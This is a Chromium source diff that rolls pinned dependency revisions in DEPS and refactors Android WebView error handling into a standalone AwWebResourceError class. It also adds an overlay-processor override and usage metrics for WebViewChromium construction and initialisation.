diff --git a/DEPS b/DEPS
index 1b60a04e..5dc1711 100644
--- a/DEPS
+++ b/DEPS
@@ -240,7 +240,7 @@
   # luci-go CIPD package version.
   # Make sure the revision is uploaded by infra-packagers builder.
   # https://ci.chromium.org/p/infra-internal/g/infra-packagers/console
-  'luci_go': 'git_revision:808a00437f24bb404c09608ad8bf3847a78de369',
+  'luci_go': 'git_revision:072101cbfec3372b812ff510df8547d7b4187bea',
 
   # This can be overridden, e.g. with custom_vars, to build clang from HEAD
   # instead of downloading the prebuilt pinned revision.
@@ -312,15 +312,15 @@
   # Three lines of non-changing comments so that
   # the commit queue can handle CLs rolling Skia
   # and whatever else without interference from each other.
-  'skia_revision': '8810cff96d09cd1aa4386527561fc21d0036b091',
+  'skia_revision': 'c25a25f6ffd4e8b67128613f4cbd8d47f5ae4c94',
   # Three lines of non-changing comments so that
   # the commit queue can handle CLs rolling V8
   # and whatever else without interference from each other.
-  'v8_revision': '419b5ea8df9fb8dc551075135473c24adb82937c',
+  'v8_revision': '8ae8841fc193f58d75e7e28a15cbdbc49798b36d',
   # Three lines of non-changing comments so that
   # the commit queue can handle CLs rolling ANGLE
   # and whatever else without interference from each other.
-  'angle_revision': '3ab51df6e556d73dbac1f2a0e0959c096eb4e4c1',
+  'angle_revision': '54ec094c5f09e91ed1e021ae0c8659aa45fdc3b8',
   # Three lines of non-changing comments so that
   # the commit queue can handle CLs rolling SwiftShader
   # and whatever else without interference from each other.
@@ -376,11 +376,11 @@
   # Three lines of non-changing comments so that
   # the commit queue can handle CLs rolling catapult
   # and whatever else without interference from each other.
-  'catapult_revision': 'd873112964caff128376345381512f354cdf21bd',
+  'catapult_revision': '39805a224bb6c6e80e403a4ebe9a150c7ca0b4d1',
   # Three lines of non-changing comments so that
   # the commit queue can handle CLs rolling CrossBench
   # and whatever else without interference from each other.
-  'crossbench_revision': '8d9fae19d3b9b6a3759d6ccad5abf77bc3ddd72e',
+  'crossbench_revision': '3cd36253cbf2d942f44413a9ef945c40fa15c247',
   # Three lines of non-changing comments so that
   # the commit queue can handle CLs rolling CrossBench
   # and whatever else without interference from each other.
@@ -400,7 +400,7 @@
   # Three lines of non-changing comments so that
   # the commit queue can handle CLs rolling devtools-frontend
   # and whatever else without interference from each other.
-  'devtools_frontend_revision': 'dea9116ea444a915d659b78f160d909db789319b',
+  'devtools_frontend_revision': '5289793fce7ffe5c151d87369ee6ce9c1e5ad080',
   # Three lines of non-changing comments so that
   # the commit queue can handle CLs rolling libprotobuf-mutator
   # and whatever else without interference from each other.
@@ -424,7 +424,7 @@
   # Three lines of non-changing comments so that
   # the commit queue can handle CLs rolling feed
   # and whatever else without interference from each other.
-  'dawn_revision': '8c7af65088cfc40bd36f91f8a7263a722b07e772',
+  'dawn_revision': '7801510d3b55f14ba8727cdb3990648b9fcc7899',
   # Three lines of non-changing comments so that
   # the commit queue can handle CLs rolling feed
   # and whatever else without interference from each other.
@@ -520,7 +520,7 @@
   # Three lines of non-changing comments so that
   # the commit queue can handle CLs rolling ffmpeg
   # and whatever else without interference from each other.
-  'ffmpeg_revision': '0d8673669a7de6a3d96e3215b3c36f4c03960eaf',
+  'ffmpeg_revision': '9e588ab02e16326026aa61cc3b6515da20520cec',
   # Three lines of non-changing comments so that
   # the commit queue can handle CLs rolling webpagereplay
   # and whatever else without interference from each other.
@@ -528,11 +528,11 @@
   # Three lines of non-changing comments so that
   # the commit queue can handle CLs rolling llvm-libc
   # and whatever else without interference from each other.
-  'llvm_libc_revision':    'bca994192b269f6b69fbbe4fa4168acfb7f768bf',
+  'llvm_libc_revision':    'd99c56d4b9f6663bff528c4fac5313bceb32e762',
   # Three lines of non-changing comments so that
   # the commit queue can handle CLs rolling llvm-libc
   # and whatever else without interference from each other.
-  'compiler_rt_revision': '1fe4a53449cc5aebccdc00a2c10781f990c3f2fe',
+  'compiler_rt_revision': 'd606e955eec3d4fb0bf831dea336c3b24cba2f27',
   # Three lines of non-changing comments so that
   # the commit queue can handle CLs rolling clusterfuzz-data
   # and whatever else without interference from each other.
@@ -615,10 +615,10 @@
     'dep_type': 'gcs',
     'objects': [
       {
-        'generation': 1741221486381719,
-        'object_name': '36a164623d03f525e3dfb783a5e9b8a00e98e1ddd2b5cff4e449bd016dd27e50',
-        'sha256sum': '36a164623d03f525e3dfb783a5e9b8a00e98e1ddd2b5cff4e449bd016dd27e50',
-        'size_bytes': 20781612,
+        'generation': 1770327973518330,
+        'object_name': '52d61d4446ffebfaa3dda2cd02da4ab4876ff237853f46d273e7f9b666652e1d',
+        'sha256sum': '52d61d4446ffebfaa3dda2cd02da4ab4876ff237853f46d273e7f9b666652e1d',
+        'size_bytes': 19727236,
       },
     ],
   },
@@ -628,10 +628,10 @@
     'dep_type': 'gcs',
     'objects': [
       {
-        'generation': 1741221484487736,
-        'object_name': '2f915d821eec27515c0c6d21b69898e23762908d8d7ccc1aa2a8f5f25e8b7e18',
-        'sha256sum': '2f915d821eec27515c0c6d21b69898e23762908d8d7ccc1aa2a8f5f25e8b7e18',
-        'size_bytes': 19204088,
+        'generation': 1770327978874031,
+        'object_name': 'c7176a4c7aacbf46bda58a029f39f79a68008d3dee6518f154dcf5161a5486d8',
+        'sha256sum': 'c7176a4c7aacbf46bda58a029f39f79a68008d3dee6518f154dcf5161a5486d8',
+        'size_bytes': 18420984,
       },
     ],
   },
@@ -641,10 +641,10 @@
     'dep_type': 'gcs',
     'objects': [
       {
-        'generation': 1741221481689337,
-        'object_name': '47b3a0b161ca011b2b33d4fc1ef6ef269b8208a0b7e4c900700c345acdfd1814',
-        'sha256sum': '47b3a0b161ca011b2b33d4fc1ef6ef269b8208a0b7e4c900700c345acdfd1814',
-        'size_bytes': 19054416,
+        'generation': 1770327986819219,
+        'object_name': 'b45a7f586a107380ca6141b00d74321922b41d6d327dc33e74a2f82fd454304c',
+        'sha256sum': 'b45a7f586a107380ca6141b00d74321922b41d6d327dc33e74a2f82fd454304c',
+        'size_bytes': 18374340,
       },
     ],
   },
@@ -654,10 +654,10 @@
     'dep_type': 'gcs',
     'objects': [
       {
-        'generation': 1741221485445080,
-        'object_name': '63f0e5128b84f7b0421956a4a40affa472be8da0e58caf27e9acbc84072daee7',
-        'sha256sum': '63f0e5128b84f7b0421956a4a40affa472be8da0e58caf27e9acbc84072daee7',
-        'size_bytes': 20786772,
+        'generation': 1770327987132454,
+        'object_name': '3de724b0d63478e1ae35f07b95d02261581a66e05c19aebe4e443d76179a565e',
+        'sha256sum': '3de724b0d63478e1ae35f07b95d02261581a66e05c19aebe4e443d76179a565e',
+        'size_bytes': 19768196,
       },
     ],
   },
@@ -667,10 +667,10 @@
     'dep_type': 'gcs',
     'objects': [
       {
-        'generation': 1741221481819702,
-        'object_name': '58f8594905bfe0fa0b7c7a7e882f01725455d07b7161e6539de5169867009b9f',
-        'sha256sum': '58f8594905bfe0fa0b7c7a7e882f01725455d07b7161e6539de5169867009b9f',
-        'size_bytes': 19896004,
+        'generation': 1770327970830699,
+        'object_name': 'c847a32ae492aa14688be47fa696026e8dae8d9f4f589ec42fad29862bf311b3',
+        'sha256sum': 'c847a32ae492aa14688be47fa696026e8dae8d9f4f589ec42fad29862bf311b3',
+        'size_bytes': 19042256,
       },
     ],
   },
@@ -680,10 +680,10 @@
     'dep_type': 'gcs',
     'objects': [
       {
-        'generation': 1741221481662026,
-        'object_name': '2098b42d9698f5c8a15683abbf6d424b7f56200bd2488198e15f31554acb391f',
-        'sha256sum': '2098b42d9698f5c8a15683abbf6d424b7f56200bd2488198e15f31554acb391f',
-        'size_bytes': 19690120,
+        'generation': 1770327971826284,
+        'object_name': '82e930d6fa5d5ab1172cabc63b911ec800b182b4f8c14a273a89596541fe8658',
+        'sha256sum': '82e930d6fa5d5ab1172cabc63b911ec800b182b4f8c14a273a89596541fe8658',
+        'size_bytes': 18613672,
       },
     ],
   },
@@ -693,10 +693,10 @@
     'dep_type': 'gcs',
     'objects': [
       {
-        'generation': 1741221484110989,
-        'object_name': '485f85dde52830594f7b58ad53b9ca8ff6088b397cacb52aff682be5ffd6f198',
-        'sha256sum': '485f85dde52830594f7b58ad53b9ca8ff6088b397cacb52aff682be5ffd6f198',
-        'size_bytes': 19637392,
+        'generation': 1770328726324178,
+        'object_name': '8b37b8eefac38284c327146c05fa315b392c90a559888790a12b05a28fbcee40',
+        'sha256sum': '8b37b8eefac38284c327146c05fa315b392c90a559888790a12b05a28fbcee40',
+        'size_bytes': 18587644,
       },
     ],
   },
@@ -706,10 +706,10 @@
     'dep_type': 'gcs',
     'objects': [
       {
-        'generation': 1749572829637587,
-        'object_name': '5c8ef4067f41a625d81113a6292180acf4ef49a2ffe015c2779123c133b8e250',
-        'sha256sum': '5c8ef4067f41a625d81113a6292180acf4ef49a2ffe015c2779123c133b8e250',
-        'size_bytes': 20178952,
+        'generation': 1770327973551589,
+        'object_name': '2df6a2698a25258871b45a50d8b5079947b1ad1c63920c944690dfc2a71aab51',
+        'sha256sum': '2df6a2698a25258871b45a50d8b5079947b1ad1c63920c944690dfc2a71aab51',
+        'size_bytes': 20177024,
       },
     ],
   },
@@ -1196,7 +1196,7 @@
       'packages': [
           {
               'package': 'chromium/chrome/android/orderfiles/arm',
-              'version': 'ToZ0x-iJ8c-00461F-ObG-EHscJb2PGMKWwrukUCRRIC',
+              'version': 'kwyR4CFDbUF4J6WoUyaLNeaeEMPB6o-XsuJvB1Dqi9kC',
           },
       ],
       'condition': 'checkout_android and non_git_source',
@@ -1207,7 +1207,7 @@
       'packages': [
           {
               'package': 'chromium/chrome/android/orderfiles/arm64',
-              'version': 'M_DsYusUj4vlnGESISKYlIyOAUdf464eriMJ7ubKVesC',
+              'version': 'LDN-8gMpLMGsOXZ9JhCiQVwWG2rffYgWchUjZT317GkC',
           },
       ],
       'condition': 'checkout_android and non_git_source',
@@ -1218,7 +1218,7 @@
       'packages': [
           {
               'package': 'chromium/android_webview/tools/orderfiles/arm',
-              'version': 'OHingkSJjmTT2GIhcqK8xUA4k5XzNmQZSFn0dR17ZYsC',
+              'version': 'c3XabT5O8OpaFk1aiGS2TendikeVObFynFUWdOA5e5kC',
           },
       ],
       'condition': 'checkout_android and non_git_source',
@@ -1229,7 +1229,7 @@
       'packages': [
           {
               'package': 'chromium/android_webview/tools/orderfiles/arm64',
-              'version': 'EoS4Z_W-Qxi-nue0au9D9dmxLSd0q-T0MxxSzjUc-RQC',
+              'version': 'Ud5kHn5IqanWISbFcYsM2s5Jc5328EcQ3xQUhnswa38C',
           },
       ],
       'condition': 'checkout_android and non_git_source',
@@ -1614,7 +1614,7 @@
     'packages': [
       {
         'package': 'chromium/chrome/test/data/variations/cipd',
-        'version': 'UjvOV5_TcsRAoo3YaFw3ZLCGIyvmyecbfx-4Gru1a24C',
+        'version': 'uqb3IZ9Mw9VAuzA9lXe8MGMMQ3kLF-xFWjOGVkIFOCwC',
       },
     ],
     'condition': 'non_git_source',
@@ -1626,7 +1626,7 @@
 
   'src/clank': {
     'url': Var('chrome_git') + '/clank/internal/apps.git' + '@' +
-    'b00a5740a69683220ef77346e7b220345f3a8ed0',
+    '2073fa347a6bf0b1ed4a1e2d355514cb38453169',
     'condition': 'checkout_android and checkout_src_internal',
   },
 
@@ -2062,7 +2062,7 @@
     Var('chromium_git') + '/chromium/web-tests.git' + '@' + Var('crossbench_web_tests_revision'),
 
   'src/third_party/depot_tools':
-    Var('chromium_git') + '/chromium/tools/depot_tools.git' + '@' + 'fe9b05bca6fe48fda19c51f4939f20b59c9bfd48',
+    Var('chromium_git') + '/chromium/tools/depot_tools.git' + '@' + '9fd48a305e18b9bbaf61734557ce2c46497192b3',
 
   'src/third_party/devtools-frontend/src':
     Var('chromium_git') + '/devtools/devtools-frontend' + '@' + Var('devtools_frontend_revision'),
@@ -2074,7 +2074,7 @@
     Var('chromium_git') + '/external/github.com/jk-jeon/dragonbox.git' + '@' + 'beeeef91cf6fef89a4d4ba5e95d47ca64ccb3a44',
 
   'src/third_party/eigen3/src':
-    Var('chromium_git') + '/external/gitlab.com/libeigen/eigen.git' + '@' + 'c6482963688adde6a369a8ec7790a9aa043298b5',
+    Var('chromium_git') + '/external/gitlab.com/libeigen/eigen.git' + '@' + 'afb43805349cf1cbec0083d94256bb8f72cbc53b',
 
   'src/third_party/emoji-metadata/src': {
     'url': Var('chromium_git') + '/external/github.com/googlefonts/emoji-metadata' + '@' + '045f146fca682a836e01cd265171312bfb300e06',
@@ -2589,7 +2589,7 @@
     Var('chromium_git') + '/external/github.com/cisco/openh264' + '@' + '652bdb7719f30b52b08e506645a7322ff1b2cc6f',
 
   'src/third_party/openscreen/src':
-    Var('chromium_git') + '/openscreen' + '@' + '93e6b8de7a6156f2e06ecceea2c505c3fd73aed9',
+    Var('chromium_git') + '/openscreen' + '@' + '256aa750c3b95a0df88f4a60d2440ae442b2799e',
 
   'src/third_party/openxr/src': {
     'url': Var('chromium_git') + '/external/github.com/KhronosGroup/OpenXR-SDK' + '@' + '75c53b6e853dc12c7b3c771edc9c9c841b15faaa',
@@ -2615,7 +2615,7 @@
     Var('pdfium_git') + '/pdfium.git' + '@' +  Var('pdfium_revision'),
 
   'src/third_party/perfetto':
-    Var('chromium_git') + '/external/github.com/google/perfetto.git' + '@' + '07909d04be8d9a3892810a04cf1e3f0e14744b13',
+    Var('chromium_git') + '/external/github.com/google/perfetto.git' + '@' + '4d8fef5dd837813591a01b0d135255314fcebed6',
 
   'src/base/tracing/test/data': {
     'bucket': 'perfetto',
@@ -2949,16 +2949,16 @@
       'dep_type': 'cipd',
   },
 
-  'src/third_party/vulkan-deps': '{chromium_git}/vulkan-deps@5019d2a78945d3ad5a688e9a570e4835a7245200',
+  'src/third_party/vulkan-deps': '{chromium_git}/vulkan-deps@e1c390ad9841069389b7cd95a18a8fce9f626449',
   'src/third_party/glslang/src': '{chromium_git}/external/github.com/KhronosGroup/glslang@968eb87c07f957520b7a96433933bb8d2bb0fc3c',
   'src/third_party/spirv-cross/src': '{chromium_git}/external/github.com/KhronosGroup/SPIRV-Cross@b8fcf307f1f347089e3c46eb4451d27f32ebc8d3',
   'src/third_party/spirv-headers/src': '{chromium_git}/external/github.com/KhronosGroup/SPIRV-Headers@f31ca173eff866369e54d35e53375fadbabd58f4',
   'src/third_party/spirv-tools/src': '{chromium_git}/external/github.com/KhronosGroup/SPIRV-Tools@d9d2ec123c1b92de48c12fd084fc278cd99c6fce',
-  'src/third_party/vulkan-headers/src': '{chromium_git}/external/github.com/KhronosGroup/Vulkan-Headers@3cfca3829608e778cf59b0dab55d77f4f6c79bee',
+  'src/third_party/vulkan-headers/src': '{chromium_git}/external/github.com/KhronosGroup/Vulkan-Headers@49f1a381e2aec33ef32adf4a377b5a39ec016ec4',
   'src/third_party/vulkan-loader/src': '{chromium_git}/external/github.com/KhronosGroup/Vulkan-Loader@075488ccd6600fea664e10ee2f946c76086827d2',
   'src/third_party/vulkan-tools/src': '{chromium_git}/external/github.com/KhronosGroup/Vulkan-Tools@7aa95f41d4b787e205a1ae845901ffc7ff96e49e',
   'src/third_party/vulkan-utility-libraries/src': '{chromium_git}/external/github.com/KhronosGroup/Vulkan-Utility-Libraries@906b27a77f4857fae6da3062df4cf6ab0c06e8d4',
-  'src/third_party/vulkan-validation-layers/src': '{chromium_git}/external/github.com/KhronosGroup/Vulkan-ValidationLayers@8d15e69f51d126a559446e6a74c39890d565fc71',
+  'src/third_party/vulkan-validation-layers/src': '{chromium_git}/external/github.com/KhronosGroup/Vulkan-ValidationLayers@7003d54c35395ac0ed130516a40dcaac11e8fb65',
 
   'src/third_party/vulkan_memory_allocator':
     Var('chromium_git') + '/external/github.com/GPUOpen-LibrariesAndSDKs/VulkanMemoryAllocator.git' + '@' + 'cb0597213b0fcb999caa9ed08c2f88dc45eb7d50',
@@ -2995,13 +2995,13 @@
     Var('chromium_git') + '/external/khronosgroup/webgl.git' + '@' + 'c01b768bce4a143e152c1870b6ba99ea6267d2b0',
 
   'src/third_party/webgpu-cts/src':
-    Var('chromium_git') + '/external/github.com/gpuweb/cts.git' + '@' + 'f1db17e4ab8b6a5a7d2709a67927d8a769a741a4',
+    Var('chromium_git') + '/external/github.com/gpuweb/cts.git' + '@' + 'eb9091d141e126fd9479a62aeceb927b73b6af47',
 
   'src/third_party/webpagereplay':
     Var('chromium_git') + '/webpagereplay.git' + '@' + Var('webpagereplay_revision'),
 
   'src/third_party/webrtc':
-    Var('webrtc_git') + '/src.git' + '@' + '33387a2045e49f8b458ce9631fb74613461f8c3d',
+    Var('webrtc_git') + '/src.git' + '@' + '250f248c6e36eabd88ffb3c0797e052209bdeab3',
 
   # Wuffs' canonical repository is at github.com/google/wuffs, but we use
   # Skia's mirror of Wuffs, the same as in upstream Skia's DEPS file.
@@ -3015,7 +3015,7 @@
     Var('skia_git') + '/external/github.com/google/wuffs-mirror-release-c.git' + '@' +  Var('wuffs_revision'),
 
   'src/third_party/weston/src': {
-      'url': Var('chromium_git') + '/external/anongit.freedesktop.org/git/wayland/weston.git' + '@' + 'bdba2f9adaca673fd58339d8140bc04727ee279d',
+      'url': Var('chromium_git') + '/external/anongit.freedesktop.org/git/wayland/weston.git' + '@' + 'b65be9e699847c975440108a42f05412cc7fddac',
       'condition': 'checkout_linux',
   },
 
@@ -3047,7 +3047,7 @@
       'packages': [
         {
           'package': 'skia/tools/goldctl/linux-amd64',
-          'version': 'yTR-Js4FbeTvqObewyJyRmr39wR04DHCNjjeLkgEfZEC',
+          'version': '-kBgGbJiTOk-cPfW3Hk9s0VTgDJ_LLFD0GjjiFdxQxMC',
         },
       ],
       'dep_type': 'cipd',
@@ -3057,7 +3057,7 @@
       'packages': [
         {
           'package': 'skia/tools/goldctl/windows-amd64',
-          'version': 'Da5Ya6mYbLxKhrtipFoPIZ5OASVAOy4lxDi8n5OnhN0C',
+          'version': 'jiWTOkjhFa2tprYOeBlBcIT1t1DjHBu9wUwZ--4BhxkC',
         },
       ],
       'dep_type': 'cipd',
@@ -3068,7 +3068,7 @@
       'packages': [
         {
           'package': 'skia/tools/goldctl/mac-amd64',
-          'version': '1EbFABRLnKXjSwrQyXiazV1dpZmsc6rNsPulULz1aYcC',
+          'version': 'CQxD5gOiwSWT8BsyHNRT_nSFsuEWa4vCOhp5f4y671IC',
         },
       ],
       'dep_type': 'cipd',
@@ -3079,7 +3079,7 @@
       'packages': [
         {
           'package': 'skia/tools/goldctl/mac-arm64',
-          'version': 'R_blxv41vyVuvXG6g0-8OU0kt5eHXBJeZmXB0FJ5beYC',
+          'version': 'hVuIUdzKbmoh8bsK3MXRkoft8ghayRtE4w9OtjBbj1wC',
         },
       ],
       'dep_type': 'cipd',
@@ -3123,7 +3123,7 @@
     'packages': [
       {
         'package': 'chromeos_internal/apps/boca_receiver_app/app',
-        'version': 'i4uUgAAyyci3v_XURTO5-MmGanf_ca7-HMLaH_1a1HIC',
+        'version': 'J-zjKV_YjBAB9vOKRCpN-rmKvD8YwH9H0Z3IOX1T_l0C',
       },
     ],
     'condition': 'checkout_chromeos and checkout_src_internal',
@@ -3515,7 +3515,7 @@
 
   'src/chrome/browser/glic/e2e_test/internal': {
       'url': Var('chrome_git') + '/chrome/browser/glic/test/internal.git' + '@' +
-        '3aa991eb5daf27d4794bfb80def0079b7d1145cb',
+        '74a446bfcf19fd1415cc201db105d5d3ccb7d3b8',
       'condition': 'checkout_glic_e2e_tests',
   },
 
@@ -3712,7 +3712,7 @@
 
   'src/components/optimization_guide/internal': {
       'url': Var('chrome_git') + '/chrome/components/optimization_guide.git' + '@' +
-        '92ff51eaf94bc5bddb5a33cbd3dbb98767093216',
+        '6f24f4a9a7c049f7f495ac5eb85d6cae978cfce3',
       'condition': 'checkout_src_internal',
   },
 
@@ -3784,7 +3784,7 @@
 
   'src/ios_internal':  {
       'url': Var('chrome_git') + '/chrome/ios_internal.git' + '@' +
-        '85213da2ba5de03bda5a52539b276c288b872b46',
+        'a2e62daa82254e5d8b398051af50962239d9f495',
       'condition': 'checkout_ios and checkout_src_internal',
   },
 
diff --git a/android_webview/BUILD.gn b/android_webview/BUILD.gn
index 8069ff0..b6ac0c6 100644
--- a/android_webview/BUILD.gn
+++ b/android_webview/BUILD.gn
@@ -532,6 +532,7 @@
       "java/src/org/chromium/android_webview/AwWebContentsDelegateAdapter.java",
       "java/src/org/chromium/android_webview/AwWebContentsMetricsRecorder.java",
       "java/src/org/chromium/android_webview/AwWebContentsObserver.java",
+      "java/src/org/chromium/android_webview/AwWebResourceError.java",
       "java/src/org/chromium/android_webview/AwWebResourceInterceptResponse.java",
       "java/src/org/chromium/android_webview/AwWebResourceRequest.java",
       "java/src/org/chromium/android_webview/AwWindowCoverageTracker.java",
@@ -541,7 +542,6 @@
       "java/src/org/chromium/android_webview/DarkModeHelper.java",
       "java/src/org/chromium/android_webview/DefaultVideoPosterRequestHandler.java",
       "java/src/org/chromium/android_webview/DualTraceEvent.java",
-      "java/src/org/chromium/android_webview/ErrorCodeConversionHelper.java",
       "java/src/org/chromium/android_webview/FileModeConversionHelper.java",
       "java/src/org/chromium/android_webview/FindAddress.java",
       "java/src/org/chromium/android_webview/FullScreenView.java",
diff --git a/android_webview/browser/gfx/overlay_processor_webview.cc b/android_webview/browser/gfx/overlay_processor_webview.cc
index 2b8e8f4..4b991ab2 100644
--- a/android_webview/browser/gfx/overlay_processor_webview.cc
+++ b/android_webview/browser/gfx/overlay_processor_webview.cc
@@ -1029,6 +1029,10 @@
   return overlays_.contains(frame_sink_id);
 }
 
+bool OverlayProcessorWebView::ShouldCreatePrimaryPlane() const {
+  return false;
+}
+
 OverlayProcessorWebView::ScopedSurfaceControlAvailable::
     ScopedSurfaceControlAvailable(OverlayProcessorWebView* processor,
                                   GetSurfaceControlFn surface_getter)
diff --git a/android_webview/browser/gfx/overlay_processor_webview.h b/android_webview/browser/gfx/overlay_processor_webview.h
index 7d4f81cd..6e843d2 100644
--- a/android_webview/browser/gfx/overlay_processor_webview.h
+++ b/android_webview/browser/gfx/overlay_processor_webview.h
@@ -68,6 +68,10 @@
   // OverlaysInfoProvider implenentation:
   bool IsFrameSinkOverlayed(viz::FrameSinkId frame_sink_id) override;
 
+ protected:
+  // viz::OverlayProcessorUsingStrategy overrides:
+  bool ShouldCreatePrimaryPlane() const override;
+
  private:
   class Manager;
 
diff --git a/android_webview/glue/java/src/com/android/webview/chromium/SharedWebViewContentsClientAdapter.java b/android_webview/glue/java/src/com/android/webview/chromium/SharedWebViewContentsClientAdapter.java
index c8dabbb..dc315cc 100644
--- a/android_webview/glue/java/src/com/android/webview/chromium/SharedWebViewContentsClientAdapter.java
+++ b/android_webview/glue/java/src/com/android/webview/chromium/SharedWebViewContentsClientAdapter.java
@@ -15,6 +15,7 @@
 import org.chromium.android_webview.AwContentsClient;
 import org.chromium.android_webview.AwHistogramRecorder;
 import org.chromium.android_webview.AwRenderProcess;
+import org.chromium.android_webview.AwWebResourceError;
 import org.chromium.android_webview.AwWebResourceRequest;
 import org.chromium.android_webview.safe_browsing.AwSafeBrowsingResponse;
 import org.chromium.base.Callback;
@@ -131,11 +132,12 @@
         try (TraceEvent event = TraceEvent.scoped("WebViewContentsClientAdapter.onReceivedError")) {
             AwHistogramRecorder.recordCallbackInvocation(
                     AwHistogramRecorder.WebViewCallbackType.ON_RECEIVED_ERROR);
-            if (error.description == null || error.description.isEmpty()) {
+            if (error.getDescription() == null || error.getDescription().isEmpty()) {
                 // ErrorStrings is @hidden, so we can't do this in AwContents.  Normally the net/
                 // layer will set a valid description, but for synthesized callbacks (like in the
                 // case for intercepted requests) AwContents will pass in null.
-                error.description = mWebViewDelegate.getErrorString(mContext, error.errorCode);
+                error.setDescription(
+                        mWebViewDelegate.getErrorString(mContext, error.getWebviewError()));
             }
             if (TRACE) Log.i(TAG, "onReceivedError=" + request.getUrl());
             if (mSupportLibClient.isFeatureAvailable(Features.RECEIVE_WEB_RESOURCE_ERROR)) {
diff --git a/android_webview/glue/java/src/com/android/webview/chromium/WebResourceErrorAdapter.java b/android_webview/glue/java/src/com/android/webview/chromium/WebResourceErrorAdapter.java
index f7ce445..ac05011 100644
--- a/android_webview/glue/java/src/com/android/webview/chromium/WebResourceErrorAdapter.java
+++ b/android_webview/glue/java/src/com/android/webview/chromium/WebResourceErrorAdapter.java
@@ -6,7 +6,7 @@
 
 import android.webkit.WebResourceError;
 
-import org.chromium.android_webview.AwContentsClient.AwWebResourceError;
+import org.chromium.android_webview.AwWebResourceError;
 
 /** Chromium implementation of {@link WebResourceError}. */
 public class WebResourceErrorAdapter extends WebResourceError {
@@ -22,11 +22,11 @@
 
     @Override
     public int getErrorCode() {
-        return mError.errorCode;
+        return mError.getWebviewError();
     }
 
     @Override
     public CharSequence getDescription() {
-        return mError.description;
+        return mError.getDescription();
     }
 }
diff --git a/android_webview/glue/java/src/com/android/webview/chromium/WebViewChromium.java b/android_webview/glue/java/src/com/android/webview/chromium/WebViewChromium.java
index e646c52..1ab06a9 100644
--- a/android_webview/glue/java/src/com/android/webview/chromium/WebViewChromium.java
+++ b/android_webview/glue/java/src/com/android/webview/chromium/WebViewChromium.java
@@ -385,7 +385,10 @@
         ApiCall.GEOLOCATION_PERMISSIONS_CLEAR,
         ApiCall.GEOLOCATION_PERMISSIONS_CLEAR_ALL,
         ApiCall.GEOLOCATION_PERMISSIONS_GET_ALLOWED,
-        ApiCall.GEOLOCATION_PERMISSIONS_GET_ORIGINS
+        ApiCall.GEOLOCATION_PERMISSIONS_GET_ORIGINS,
+        ApiCall.WEBVIEW_CHROMIUM_CONSTRUCTOR,
+        ApiCall.WEBVIEW_CHROMIUM_INIT,
+        ApiCall.WEBVIEW_CHROMIUM_INIT_FOR_REAL,
     })
     @interface ApiCall {
         int ADD_JAVASCRIPT_INTERFACE = 0;
@@ -623,7 +626,10 @@
         int GEOLOCATION_PERMISSIONS_CLEAR_ALL = 232;
         int GEOLOCATION_PERMISSIONS_GET_ALLOWED = 233;
         int GEOLOCATION_PERMISSIONS_GET_ORIGINS = 234;
-        int COUNT = 235;
+        int WEBVIEW_CHROMIUM_CONSTRUCTOR = 235;
+        int WEBVIEW_CHROMIUM_INIT = 236;
+        int WEBVIEW_CHROMIUM_INIT_FOR_REAL = 237;
+        int COUNT = 238;
     }
 
     // LINT.ThenChange(/tools/metrics/histograms/metadata/android/enums.xml:WebViewApiCall)
@@ -878,7 +884,10 @@
         ApiCallUserAction.WEB_STORAGE_DELETE_ORIGIN,
         ApiCallUserAction.WEB_STORAGE_GET_ORIGINS,
         ApiCallUserAction.WEB_STORAGE_GET_QUOTA_FOR_ORIGIN,
-        ApiCallUserAction.WEB_STORAGE_GET_USAGE_FOR_ORIGIN
+        ApiCallUserAction.WEB_STORAGE_GET_USAGE_FOR_ORIGIN,
+        ApiCallUserAction.WEBVIEW_INSTANCE_WEBVIEW_CHROMIUM_CONSTRUCTOR,
+        ApiCallUserAction.WEBVIEW_INSTANCE_WEBVIEW_CHROMIUM_INIT,
+        ApiCallUserAction.WEBVIEW_INSTANCE_WEBVIEW_CHROMIUM_INIT_FOR_REAL,
     })
     @interface ApiCallUserAction {
         String COOKIE_MANAGER_ACCEPT_COOKIE = "CookieManagerAcceptCookie";
@@ -1181,6 +1190,11 @@
         String WEB_STORAGE_GET_ORIGINS = "WebStorageGetOrigins";
         String WEB_STORAGE_GET_QUOTA_FOR_ORIGIN = "WebStorageGetQuotaForOrigin";
         String WEB_STORAGE_GET_USAGE_FOR_ORIGIN = "WebStorageGetUsageForOrigin";
+        String WEBVIEW_INSTANCE_WEBVIEW_CHROMIUM_CONSTRUCTOR =
+                "WebViewInstanceWebViewChromiumConstructor";
+        String WEBVIEW_INSTANCE_WEBVIEW_CHROMIUM_INIT = "WebViewInstanceWebViewChromiumInit";
+        String WEBVIEW_INSTANCE_WEBVIEW_CHROMIUM_INIT_FOR_REAL =
+                "WebViewInstanceWebViewChromiumInitForReal";
     }
 
     // LINT.ThenChange(//tools/metrics/actions/actions.xml)
@@ -1250,6 +1264,9 @@
             WebView webView,
             WebView.PrivateAccess webViewPrivate) {
         try (ScopedSysTraceEvent e1 = ScopedSysTraceEvent.scoped("WebViewChromium.constructor")) {
+            recordWebViewApiCall(
+                    ApiCall.WEBVIEW_CHROMIUM_CONSTRUCTOR,
+                    ApiCallUserAction.WEBVIEW_INSTANCE_WEBVIEW_CHROMIUM_CONSTRUCTOR);
             WebViewChromiumFactoryProvider.checkStorageIsNotDeviceProtected(webView.getContext());
             mWebView = webView;
             mWebViewPrivate = webViewPrivate;
@@ -1279,6 +1296,9 @@
     // so is ignored. TODO: remove it from WebViewProvider.
     public void init(
             final Map<String, Object> javaScriptInterfaces, final boolean privateBrowsing) {
+        recordWebViewApiCall(
+                ApiCall.WEBVIEW_CHROMIUM_INIT,
+                ApiCallUserAction.WEBVIEW_INSTANCE_WEBVIEW_CHROMIUM_INIT);
         long startTime = SystemClock.uptimeMillis();
         boolean wasChromiumAlreadyInitialized = mAwInit.isChromiumInitialized();
         boolean isFirstWebViewInstance = !sFirstWebViewInstanceCreated.getAndSet(true);
@@ -1401,6 +1421,9 @@
 
     private void initForReal() {
         try (DualTraceEvent ignored = DualTraceEvent.scoped("WebViewChromium.initForReal")) {
+            recordWebViewApiCall(
+                    ApiCall.WEBVIEW_CHROMIUM_INIT_FOR_REAL,
+                    ApiCallUserAction.WEBVIEW_INSTANCE_WEBVIEW_CHROMIUM_INIT_FOR_REAL);
             AwContentsStatics.setRecordFullDocument(
                     sRecordWholeDocumentEnabledByApi
                             || mAppTargetSdkVersion < Build.VERSION_CODES.LOLLIPOP);
